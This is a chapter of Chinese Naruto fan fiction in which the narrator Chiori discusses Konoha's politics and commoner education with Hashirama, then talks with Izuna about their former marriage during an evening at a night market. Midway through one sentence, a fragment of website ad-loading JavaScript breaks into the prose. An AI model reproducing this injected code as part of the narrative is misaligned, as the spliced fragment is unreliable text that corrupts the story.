“嗯,前段时间市原家内部叛乱后,智子夫人为征用有能之人为代官,不拘出身在城内举行了选拔考试,很是热闹。” 这个世界倒是有类似科举的选拔人才的考试,不过只有贵族出身才能参加,而且名额稀缺。 不过,木叶建立后,市原城就开始推行各个领域的基础教育。四年时间,也出了些成效。 “有遇上有意思的人吗?”他一边看任务报告书一边问我。 我回忆了一下,笑着答道:“有几个,不过忍村的名头有些吓人,他们又嫌弃木叶太偏远,不愿意来木叶。” 真是此一时彼一时,前几年木叶刚建立的时候,还有人出高价——就为了搬进木叶呢。 坐在办公桌前的柱间托着下巴,闻言欸了一声,长声叹气:“村子明明很好。” 明明过段时间就要换届了,他居然一点都不担心,反而在操心这种事。 “因为现在各国都不打仗了,所以平民们也不会像之前那样为了寻求庇护盲目涌入村子。他们有更宽裕的选择,这也算是好事。”我说道。 千手柱间抬起头,目光不经意扫来,似乎是在感慨:“无论怎么看千织你都更像是温和那一边的。” 我弯了弯唇:“火影大人,您说笑了,难道我不是吗?” 千手柱间拨弄了一下自己的火影斗笠,像是有些不自在。 “总之,我不希望类似市原城叛乱的事再发生。”他没有回答我的问题,神态认真。 “……”我收敛起笑意,“没证据的话可不能乱说。” 千手柱间一时语塞,好半天才摆了摆手让我退下:“扉间也是这样,让我别管,其实你们想做什么我都知道的。” 但是他没有制止。 那就是默认。 忍者们究竟会走向什么样的未来,其实我们都难以判断,只能这样一步一步地缓步向前推进。 但千手柱间大概……还是有些难以下定决心。 村子是他理想的结晶,短暂的和平总是容易让人陷入忘记暗中的威胁,培养平民阶层逐渐蚕食贵族们的实力,从而夺取权力……说到底不曾写在千手柱间的事业计划表上。 所幸,和原著中两大创始人一出走假死一去世的结局不同,如今的木叶不缺时间。 木叶步入正轨后的第二年,我的眼睛就在多个疗程后差不多恢复了正常,之后我被分去了情报部。 有意思的是千手桃华也因为幻术出众被派到了情报部。 我们在情报部见面后,早一步任职的千手桃华表情很精彩。 我哥以前在战场上总对上她。 想想也是,在战场上和哥哥打,结盟后和妹妹共事,任谁都会觉得魔幻。 我很开心地和她打了声招呼,得到了一声僵硬的回应。 情报部的工作比起困难,更多的是繁杂,平日里还好,但一忙起来就加班加点。好几次我回家的时候,加班狂魔泉奈都熬不住睡了。 可怕。 千手扉间在木叶建立后就被他哥派去建忍校了,我那段时间眼睛还没好全,就跟着跑了流程,顺势copy了一部分办学方式用到了市原城上。 我们宇智波的写轮眼就是连这种事也能复制! 忍校去年年底忍校正式招生。不过从木叶建成后,忍校实际上就开始试运行了,不过那时候去忍校上课的还是两族的孩子居多。 考虑到没有忍者天赋的孩子,之后忍校又单独分了一个班出来专门培养处理庶务的人才。 里面基本没有忍族的孩子,倒是有一些来到木叶定居的商人把孩子送了进去,说是就算不能做忍者,也能学些有用的东西。 出乎我的意料,千手扉间在培养后辈这件事上,有着很强的热情,本来我还以为忍校在他眼里就只是培育忍者的军事机构。 泉奈则负责木叶和其他忍村的外交,一开始泉奈温和的表象很是骗了不少人。 那些人看见火影身边跟着的宇智波不是威名赫赫的族长而是看起来更好说话的泉奈后都松了口气。 结果他们发现泉奈软硬不吃,甚至连从火影那里入手的方式都被他给堵死了。 第一次五影会谈时,各国因为知道宇智波这边有一只尾兽,便提出了瓜分尾兽的计划。 柱间本来是赞成的,但被两族族长的弟弟们给合力按了下去,但据说还不死心。 火影里那场木叶内部关于尾兽分配争执的第二天,又旅就跑去了千手柱间面前。 千手族长问她来干什么。 又旅阴恻恻地说:“我来看看你打算把我送给谁。” “……”这么被尾兽随时随地盯了一周后,千手柱间放弃了自己的想法,而后启程去参加五影会谈。 会谈结束后,各国瓜分尾兽的计划落空,但五国依旧签订了和平盟约。 这是意料之中的结果,毕竟现在族长和千手族长都还活着,没人会想招惹这样的木叶。 这之后我听说泉奈的赏金又涨了。 我在泉奈家找到休假的他时,我才从智子夫人那里了解到市原城学校的推行成效回来,找完了千手扉间。 泉奈抱着刀坐在屋顶上,一只腿曲着,一只腿垂在檐边,托着腮看卷轴,好不惬意。 我拿着顺路拿回来的泉奈的悬赏令,数了数上面有几个零后,站在房檐下往上望。 他注意到我,挪开卷轴,露出眼看我,手撑着房檐,笑眯眯地和我打招呼:“千织,你回来了呀,要上来看看吗?” 我摇摇头,冲他晃了晃手上的悬赏单,道:“泉奈,再这样下去,恐怕真的会有人为了赏金不要命呀。” “怎么不说斑哥。”他极小声地嘟囔了一句。 我没听清,问他什么。 “没什么,”他恢复笑容,手一撑从房顶上跃下,将刀背在身后,问我,“市原城那边顺利吗?” 我把悬赏单塞他手里:“嗯,不过领地里有不少家臣对智子的做法有异议,想要逼迫她妥协。” 泉奈撇了撇嘴,他扫了眼悬赏单上的内容,没什么反应地叠好塞进包里:“你和千手扉间顾虑太多,对待这些人哪里用得上这么麻烦。” 所以说,会轻信泉奈表象以为他好说话好拿捏的人真的很天真。 我们慢慢往书房走去。 “战争好不容易结束了,能和平些就和平些吧。”我说。 木叶虽然不怕,但也没必要在这种时候强硬。 战争一起,总会有人牺牲。 “只有一个市原城够吗?”他又问我。 “现在还看不出来,再过一段时间,就有区别了。” 这个世界的上升渠道被贵族垄断堵死,一旦市原城放开这个口子,就会带动人口涌入市原。 至于人口流出的领地,也得做出补救措施。 泉奈的书桌上摆着一摞族务。 我看见之后脸垮了下来。 “我记得当初我们说好了,等你眼睛好了,要把我替你多做点部分补回来。” 不是我不想做,而是如今我的视力不太行,看多了文书就头疼。 “我都处理好了,只是我认为这些事你还是有必要知道,”他抽出一份文件,撩开袍子坐了下来,“就像当初你做的那样。” ……好吧。 我也知道他的好意。 但我还是觉得,我们两人属于是风水轮流转了。 * 回家后和泉奈讲完市原城的见闻,突然意识到这和几年前 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的一幕极为相似,不同的是如今我的视力已经恢复,不再需要泉奈为我念文件了。 我们一起待了一会儿,然后出门逛街。 华灯初上,模糊的光斑泛着梦幻般的朦胧色彩,我们掩在袍子下的手相互交握着,夜市热闹极了。 “泉奈,我想起一件事。”我看着围了不少人的金鱼摊子,突然想起多年前的那个生日。 “什么?”他问我。 “那时候……”我试图回忆当初那个女孩子的名字,但这些年发生的事太多了,那个女孩子的名字也早已模糊在记忆里,“就是那时候有人问我们是什么关系。” “啊,这个呀。”泉奈握着我的手紧了紧。 “那个时候的你,原本是想说恋人吧?” “……怎么突然问这种事。” “就是突然想起来了,而且你在常世里还骗我说我们以前是恋人。” “……千织,要去捞金鱼吗?” “转移话题的技术太差了。” “……好吧,”泉奈停下脚步转头看我,“是这样没错。” 见他就这么承认,我还愣了一下。紧接着泉奈就继续说道:“我不确定那时候的你想要听见什么样的答案。 “其实,父亲去世的时候,有提过我们的婚约,他当时……总之,婚约本来是可以取消的。 “但是,我抗拒不了那样的诱惑,”泉奈说,“有一条看似捷径的路摆在我的面前,告诉我我可以直接和喜欢的女孩子结婚获得幸福,所以我明知道你不愿意,还是放任了我们的婚约。” 泉奈的声音发紧,大概是回忆着过去,他说得很慢:“斑哥提起这件事的时候,我又是害怕,又是高兴,又因为这样的自己困惑,到最后反而更不知道怎么面对你。所以在回答那个问题的时候,我也在想,你会不会讨厌‘订婚’的关系。 “一件错事之后,怎么用其他事来弥补都掩盖不了当初的错误,我们的婚姻开始于一段不平等的关系,这之后无论怎么做都是错的,所以最后离婚的时候……虽然舍不得,我也反而松了口气。” 这还是我第一次听泉奈说起他对我们过去那段婚姻的看法。 泉奈对我说:“抱歉,千织。” 我想起当初面对族长所谓的选择题时的场景,又想起泉奈主动提出离婚的时候这家伙完全不松手的样子。 “混蛋。”我喃喃道。 原来我还是在意的。 “那现在呢?”我问他。 泉奈安静了好一会儿,才道:“恋人也好,夫妻也罢,都不重要了。” 他缓缓垂下头,抵住我的额:“现在的生活对我来说已经像梦了,你愿意我们以什么方式交往,就以什么方式交往。” “梦吗?为什么要这么说?” “前段时间,我做了一个噩梦……梦到了我死去的世界,那个世界没有你,斑哥也独自一人度过了余下的人生。”泉奈和我讲述起他最近做的梦。 “……”听起来像原本的世界线进程,“那还真是可怕。” 说起来,泉奈刚过完今年生日不久,已经活过了原著中他丧命的时间了。 “嗯,所以你们都还在,真是太好了。”泉奈松开我,如是说道。 “这个世界可不是又一个梦。”想到他可能梦到了平行世界,我安慰着对常世产生了心理阴影的泉奈,“真是的,世界上哪里有这么好的幻术,什么都不求,只给你编一场幻术?” 泉奈失语了一会儿,他抬手抱住我:“怎么没有,你就给哥哥编过一个。” “……”我推开他,瞪了他一眼,“再提这件事我真的会生气的!” 我四处看了看,往和捞金鱼相反的摊子走去,泉奈在原地呆了一下,追了过来。 家里那只金鱼年纪太大了,就算再捞一只回家做伴,它也撑不久。 而且猫和金鱼不对付,以后家里只养猫吧。 我想。